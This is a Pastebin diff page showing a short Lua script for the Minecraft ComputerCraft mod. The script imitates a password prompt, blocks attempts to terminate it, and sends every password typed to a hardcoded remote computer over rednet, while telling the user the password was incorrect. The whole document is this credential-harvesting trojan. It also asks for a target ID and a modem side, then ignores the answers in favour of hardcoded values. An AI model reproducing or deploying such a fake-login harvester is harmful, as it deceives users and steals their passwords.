View difference between Paste ID: xu0s4gLS and 6ddQfPrx
SHOW: | | - or go back to the newest paste.
1
write("What id shall I send to:  ")
2
idinput = read()
3
write("What side is the modem on:  ")
4
modeminput = read()
5
os.pullEvent = os.pullEventRaw
6
local id = 1 -- ID of computer to send password to
7
local modemside = "left" -- side of the computer the modem is attached to
8
9
rednet.open(modemside)
10
while true do
11
  write("Password: ")
12
  a = read("*")
13
  rednet.send(id, a)
14
  print("Password incorrect.")
15
  sleep(2)
16
end